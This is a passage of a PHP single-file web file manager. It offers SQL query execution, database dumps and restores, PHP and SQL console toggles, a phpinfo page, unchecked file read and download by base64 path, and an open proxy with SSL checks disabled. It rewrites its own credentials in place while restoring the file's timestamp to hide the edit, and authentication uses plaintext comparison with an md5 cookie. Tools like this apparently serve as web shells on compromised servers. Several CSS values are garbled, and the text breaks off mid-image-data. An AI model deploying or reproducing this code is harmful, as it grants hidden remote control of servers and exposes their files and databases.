    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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